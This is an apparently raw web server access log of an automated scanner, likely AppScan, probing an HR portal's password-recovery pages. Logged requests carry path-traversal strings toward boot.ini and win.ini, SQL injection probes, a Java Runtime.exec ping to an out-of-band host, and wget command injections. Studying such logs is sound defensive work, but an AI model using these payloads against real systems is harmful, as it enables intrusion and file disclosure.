100.64.0.1 - - [05/Dec/2025:21:51:50 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action%5B%5D=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:50 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action%5B%5D=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:51 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:51 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:51:50 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:50 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:50 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:50 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:50 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=)&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:50 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=)&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:50 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%28select+ZHS%29 HTTP/1.1" 200 6684 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:50 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%28select+ZHS%29 HTTP/1.1" 200 6684 100.64.0.1 - - [05/Dec/2025:21:51:50 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:50 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:50 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd\"&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:50 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd\"&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:51:52 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd\"&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:52 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:51:51 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/boot.ini HTTP/1.1" 200 6741 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:51 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/boot.ini HTTP/1.1" 200 6741 100.64.0.1 - - [05/Dec/2025:21:51:51 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/../../../../../../../../../../../../boot.ini HTTP/1.1" 200 6717 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:51 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/../../../../../../../../../../../../boot.ini HTTP/1.1" 200 6717 100.64.0.1 - - [05/Dec/2025:21:51:51 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27ping+-c+1+v3-ping-173-a861a898-53a6-4cf5-8343-135f07cd94a3.adns.appsechcl.com%27%29%7D HTTP/1.1" 200 6809 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:51 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27ping+-c+1+v3-ping-173-a861a898-53a6-4cf5-8343-135f07cd94a3.adns.appsechcl.com%27%29%7D HTTP/1.1" 200 6809 100.64.0.1 - - [05/Dec/2025:21:51:51 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang= HTTP/1.1" 200 6833 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:51 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang= HTTP/1.1" 200 6833 100.64.0.1 - - [05/Dec/2025:21:51:52 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%27+%2B+%27%27+%2B+%27ZHS HTTP/1.1" 200 6685 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:52 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%27+%2B+%27%27+%2B+%27ZHS HTTP/1.1" 200 6685 100.64.0.1 - - [05/Dec/2025:21:51:52 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%27+%7C%7C+%27%27+%7C%7C+%27ZHS HTTP/1.1" 200 6687 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:52 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%27+%7C%7C+%27%27+%7C%7C+%27ZHS HTTP/1.1" 200 6687 100.64.0.1 - - [05/Dec/2025:21:51:52 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/../../../../../../../../../../../../boot.ini%00.html HTTP/1.1" 200 6723 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:52 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/../../../../../../../../../../../../boot.ini%00.html HTTP/1.1" 200 6723 100.64.0.1 - - [05/Dec/2025:21:51:52 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:52 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:52 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:52 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:53 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini HTTP/1.1" 200 6717 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:53 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini HTTP/1.1" 200 6717 100.64.0.1 - - [05/Dec/2025:21:51:53 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:53 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:51:54 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:54 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:51:53 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/../../../../../../../../../../../../winnt/win.ini HTTP/1.1" 200 6722 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:53 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/../../../../../../../../../../../../winnt/win.ini HTTP/1.1" 200 6722 100.64.0.1 - - [05/Dec/2025:21:51:53 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:53 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:53 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:53 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:54 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D174 HTTP/1.1" 200 6728 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:54 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D174 HTTP/1.1" 200 6728 100.64.0.1 - - [05/Dec/2025:21:51:54 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:54 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:54 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=C:\\boot.ini%00.html HTTP/1.1" 200 6689 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:54 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=C:\\boot.ini%00.html HTTP/1.1" 200 6689 100.64.0.1 - - [05/Dec/2025:21:51:54 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:54 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:54 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:54 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:54 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwinnt%5cwin.ini HTTP/1.1" 200 6722 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:54 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwinnt%5cwin.ini HTTP/1.1" 200 6722 100.64.0.1 - - [05/Dec/2025:21:51:55 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd%27+having+1%3D1--&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:55 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd%27+having+1%3D1--&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:51:55 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/../../../../../../../../../../../../windows/win.ini HTTP/1.1" 200 6724 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:55 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/../../../../../../../../../../../../windows/win.ini HTTP/1.1" 200 6724 100.64.0.1 - - [05/Dec/2025:21:51:55 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:55 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:57 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd%27+having+1%3D1--&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:57 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:51:55 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:55 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:55 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS+%3B+wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D175 HTTP/1.1" 200 6734 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:55 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS+%3B+wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D175 HTTP/1.1" 200 6734 100.64.0.1 - - [05/Dec/2025:21:51:55 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:55 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:56 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\boot.ini%00.html HTTP/1.1" 200 6723 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:56 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\boot.ini%00.html HTTP/1.1" 200 6723 100.64.0.1 - - [05/Dec/2025:21:51:56 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=%23%26%3C%28%2C%2B%22%3E%3B&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:56 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=%23%26%3C%28%2C%2B%22%3E%3B&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:56 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:56 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:56 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5cwin.ini HTTP/1.1" 200 6724 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:56 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5cwin.ini HTTP/1.1" 200 6724 100.64.0.1 - - [05/Dec/2025:21:51:57 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=file:///../../../../../../../../../../../../windows/win.ini HTTP/1.1" 200 6731 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:57 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=file:///../../../../../../../../../../../../windows/win.ini HTTP/1.1" 200 6731 100.64.0.1 - - [05/Dec/2025:21:51:58 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:58 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:51:57 +0800] "GET /ehr/ess/lostpassword.php?scriptname=Apage_errorB&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:57 +0800] "GET /ehr/ess/lostpassword.php?scriptname=Apage_errorB&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:57 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:57 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:51:57 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:57 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:57 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS+%7C+wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D176 HTTP/1.1" 200 6734 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:57 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS+%7C+wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D176 HTTP/1.1" 200 6734 100.64.0.1 - - [05/Dec/2025:21:51:57 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:57 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 - 100.64.0.1 - - 